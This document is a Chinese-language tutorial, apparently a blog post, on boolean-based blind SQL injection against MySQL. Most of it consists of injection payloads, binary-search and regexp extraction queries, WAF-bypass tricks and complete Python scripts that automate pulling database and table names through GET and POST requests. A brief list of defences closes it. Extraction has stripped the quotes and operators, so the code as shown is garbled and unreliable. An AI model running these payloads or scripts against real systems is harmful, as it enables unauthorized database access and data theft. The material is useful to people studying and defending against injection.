1. 布尔盲注基础与核心逻辑布尔盲注是SQL注入的一种特殊形式它的核心特点是应用程序仅返回True页面正常显示或False页面异常或空白两种状态。这种场景下攻击者无法直接获取数据库内容而是需要通过构造逻辑判断语句逐步推断出数据库中的信息。举个例子假设有一个登录页面无论输入什么用户名和密码页面只会返回登录成功或登录失败。这种情况下传统的联合查询注入就无法使用因为页面没有显示位来展示查询结果。但我们可以利用布尔盲注通过观察页面返回的是成功还是失败来推断数据库信息。布尔盲注的核心逻辑可以总结为构造条件判断通过AND连接我们的注入语句确保只有当条件为真时页面才正常显示逐步推断通过不断调整条件观察页面响应变化来获取数据自动化由于过程繁琐通常会编写脚本来自动化这个过程2. 手工注入实战从数据库名到表数据2.1 判断注入点首先需要确认是否存在布尔盲注漏洞。典型的测试方法是构造两个不同的条件?id1 AND 11 -- a # 应该返回True ?id1 AND 12 -- a # 应该返回False如果第一个请求页面正常显示第二个请求异常显示就说明存在布尔盲注漏洞。这里的-- a是SQL注释用于注释掉原始查询中可能存在的其他条件。2.2 获取数据库名长度使用MySQL的length()函数可以获取字符串长度。我们通过不断尝试来推断数据库名的长度?id1 AND length(database())1 -- a # 异常 ?id1 AND length(database())2 -- a # 异常 ... ?id1 AND length(database())8 -- a # 正常当页面正常显示时说明猜解的长度正确。这个过程就像在玩猜数字游戏只不过是通过HTTP请求来实现。2.3 逐字符破解数据库名知道长度后就可以逐个字符破解。MySQL提供了几个关键函数substr(str,pos,len)从字符串str的第pos位置开始截取len个字符ascii(char)返回字符的ASCII码破解第一个字符的示例?id1 AND ascii(substr(database(),1,1))115 -- a # 正常这里115对应ASCII码中的s说明数据库名的第一个字符是s。我们可以编写一个简单的Python脚本来自动化这个过程import requests url http://example.com/vuln.php for i in range(32, 127): # ASCII可打印字符范围 payload f?id1 AND ascii(substr(database(),1,1)){i} -- a r requests.get(url payload) if 正常页面内容 in r.text: print(f第一个字符是: {chr(i)}) break2.4 获取表名和字段名获取表名的原理类似只是查询语句更复杂。例如获取第一个表名的长度?id1 AND length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5 -- a获取表名的第一个字符?id1 AND ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))117 -- a3. 优化技巧从线性搜索到二分查找手工注入最大的问题是效率低下。假设要破解一个8位的数据库名每个字符有95种可能可打印ASCII字符就需要最多8×95760次请求。通过以下技巧可以大幅提高效率3.1 二分查找法利用ASCII码有序的特性可以使用二分查找?id1 AND ascii(substr(database(),1,1))109 -- a # 先判断是否大于中间值根据返回结果可以缩小范围继续查找。这样最多只需要8×756次请求因为log₂95≈7。3.2 基于正则的优化MySQL的regexp函数可以用于更高效的匹配?id1 AND (select database()) regexp ^[a-m] -- a这个语句判断数据库名是否以a-m之间的字母开头可以快速缩小范围。4. 自动化脚本开发手工注入虽然可行但实际渗透测试中我们更倾向于使用自动化脚本。下面是一个完整的Python自动化注入脚本示例4.1 GET请求盲注脚本import requests import time target_url http://example.com/vuln.php session requests.Session() def get_length(query): length 1 while True: payload f?id1 AND length(({query})){length} -- a r session.get(target_url payload) if 正常标识 in r.text: return length length 1 time.sleep(0.1) # 防止请求过快被屏蔽 def get_string(query, length): result for i in range(1, length1): low, high 32, 126 while low high: mid (low high) // 2 payload f?id1 AND ascii(substr(({query}),{i},1)){mid} -- a r session.get(target_url payload) if 正常标识 in r.text: low mid 1 else: high mid - 1 result chr(low) print(fProgress: {result}) return result # 获取数据库名 db_len get_length(select database()) db_name get_string(select database(), db_len) print(fDatabase: {db_name}) # 获取表名 tables_len get_length(select group_concat(table_name) from information_schema.tables where table_schemadatabase()) tables get_string(select group_concat(table_name) from information_schema.tables where table_schemadatabase(), tables_len) print(fTables: {tables})4.2 POST请求盲注脚本对于POST请求的盲注处理方式略有不同import requests target_url http://example.com/login.php data { username: admin AND {condition} -- , password: anything } def post_blind(condition): data[username] fadmin AND {condition} -- r requests.post(target_url, datadata) return Login success in r.text def binary_search(query, position): low, high 32, 126 while low high: mid (low high) // 2 condition fascii(substr(({query}),{position},1)){mid} if post_blind(condition): low mid 1 else: high mid - 1 return chr(low) def get_data(query, max_len50): result for i in range(1, max_len1): char binary_search(query, i) if ord(char) 32: # 空格可能表示结束 break result char print(fProgress: {result}) return result # 使用示例 db_name get_data(select database()) print(fDatabase: {db_name})5. 高级技巧与防御绕过5.1 处理WAF防护现代Web应用通常会有WAF(Web应用防火墙)防护我们可以使用以下技巧绕过大小写混合SeLeCt代替select注释分割SEL/*xxx*/ECT空白符替换使用%09(Tab)、%0A(换行)等等价函数替换用mid()代替substr()例如?id1 AND/*!50000 mid*/(database(),1,1)s -- a5.2 无逗号注入在某些过滤逗号的情况下可以使用?id1 AND ascii(substr(database() FROM 1 FOR 1))100 -- a5.3 基于时间的盲注结合当布尔判断不明显时可以结合时间盲注?id1 AND IF(ascii(substr(database(),1,1))115,sleep(2),0) -- a6. 防御建议与总结作为开发者防范布尔盲注的关键措施包括使用预处理语句所有SQL查询都应该使用参数化查询最小权限原则数据库账户只赋予必要的最小权限错误处理避免将数据库错误信息直接返回给用户WAF部署使用Web应用防火墙过滤可疑请求输入验证对所有用户输入进行严格验证和过滤对于渗透测试人员掌握布尔盲注技术有助于更全面地评估系统安全性。在实际测试中我遇到过不少看似安全的系统通过布尔盲注技术仍然能够提取出敏感数据。关键是要有耐心并且善于将手工测试与自动化工具结合使用。